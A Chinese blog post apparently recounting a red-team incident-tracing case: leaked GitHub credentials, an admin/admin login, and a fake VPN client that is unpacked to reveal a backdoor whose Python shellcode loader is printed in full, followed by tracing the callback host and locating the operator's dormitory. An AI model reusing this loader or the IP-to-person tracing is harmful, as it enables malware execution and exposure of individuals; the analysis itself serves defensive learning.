<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次實戰溯源

    VSole2022-05-12 08:22:05

    0x01 信息收集

    GIthub信息泄漏

    根據甲方信息進行常規的Github敏感信息收集偶然發現一個倉庫不簡單

    這不是mysql賬號密碼泄漏了嗎,愉快的打開Navicat

    失敗....于是訪問源碼的8080端口查看一番,發現一個管理后臺

    弱口令

    針對后臺嘗試一波弱口令,admin/admin 嗯~進來了

    進來之后竟然發現賬號密碼而且客戶端解壓密碼都貼心的放了出來

    到這里我竟然沒有察覺到任何異常,以為能夠拿到VPN入口權限;抓緊下載VPN客戶端。

    解壓出來這個樣子,emmm。。還沒發現異常

    0x02 分析溯源

    還好有謹慎的習慣,放入虛擬機瞅瞅。

    哦豁,竟然提示不兼容當前系統;看到彈窗有Pyhton代碼編寫的特征。感覺到前面的打點由過于絲滑,不自然的警覺了起來。

    包括前面弱口令的提交方式竟然為admin.php?user=admin&passwd=admin

    由于發現VPN客戶端為python語言編寫,更不對勁了,反編譯看下。

    解包

    python3 pyinstxtractor.py vpnclient64.exe
    

    生成一個以 exe文件名+_extracted 的文件夾,這個就是解包后的數據

    PyInstaller打包后,pyc文件的前8個字節會被抹掉,所以最后要自己添加回去。

    添加頭

    根據struct.py文件

    源碼

    得到py文件,easyvpn64.py為后門主程序,其中執行shellcode代碼隱藏至圖片中。

    通過requests請求OSS存儲中的圖片,圖片內容為shellcode加載器。

    shellcodeLoader部分

    import base64
    import ctypes
    str = b''
    sc_base64 = (base64.a85decode(str)).decode('utf-8')
    shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
    ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
                                                 ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
    

    知道shellcodeloader加載方式就好辦了,提取CS回連地址。

    溯源

    回連地址:Host: cs.xxx.cn

    nslookup解析地址

    根據IP地址定位在某宿舍

    直接溯源到人,tg結合一波。

    0x03 總結

    在攻防演練過程中一定要小心,防止被釣魚。另外這個釣魚的兄弟已經小本本記下了。。。

    base64
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    適用場景:使用burp作為代理,經過burp的數據包會自動進行base64編碼。
    多次測試后發現確實都相等,確定就是標準的Base64編碼。發現與之前的111極為相似。
    菜刀、冰蝎、蟻劍、哥斯拉的流量特征
    [VNCTF2022]gocalc0復現
    2022-05-07 16:02:38
    看雪論壇作者ID:H3h3QAQ
    Satacom下載程序,也稱為LegionLoader,是2019年出現的一個著名的惡意軟件家族。該惡意軟件利用查詢DNS服務器的技術獲取base64編碼的URL,以便接收當前由Satacom傳播的另一惡意軟件家族的下一階段。
    在滲透測試過程中,我們經常會遇到一些特殊的編碼,如地址欄的URL編碼,如抓包過程中遇到的Unicode編碼、base64編碼等。這款工具界面美觀,使用穩定,相當好用。之前使用的小葵轉碼工具,一旦輸錯就會崩潰,相當淡疼。下面看下它的樣子:可以看到它支持多種編碼轉換,前幾個選項應用場景比較少,從base64往下的選項就比較常用了。
    Decodify是一款功能強大的字符串安全處理工具,在該工具的幫助下,廣大研究人員能夠輕松地以遞歸的方式檢測和解碼編碼字符串。假設現在有一個字符串“s0md3v”,然后使用Base64對其編碼,結果如下:czBtZDN2. 解碼凱撒密碼我們可以使用--rot選項來提供偏移量,或者使用--rot all命令來告訴Decodify使用1-26偏移量來解碼目標字符串。
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    前言前幾天對自己學校進行的一次滲透測試,由于深信服過于變態,而且攔截會直接封ip,整個過程有點曲折期間進行了后綴名繞過,jspx命名空間繞過、獲取網站根目錄、base64五層編碼寫入shell等操作0x01 獲取網站接口主界面:上傳點:由于該應用是內嵌企業微信的套皮Html,所以我們首先用Burp Suite抓包獲取接口和cookie任意文件上傳:文件名強制命名為code+學號,后綴為最后一次點號出現之后的字母0x02 后綴名繞過代碼不限制后綴名,但是waf限制呀!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类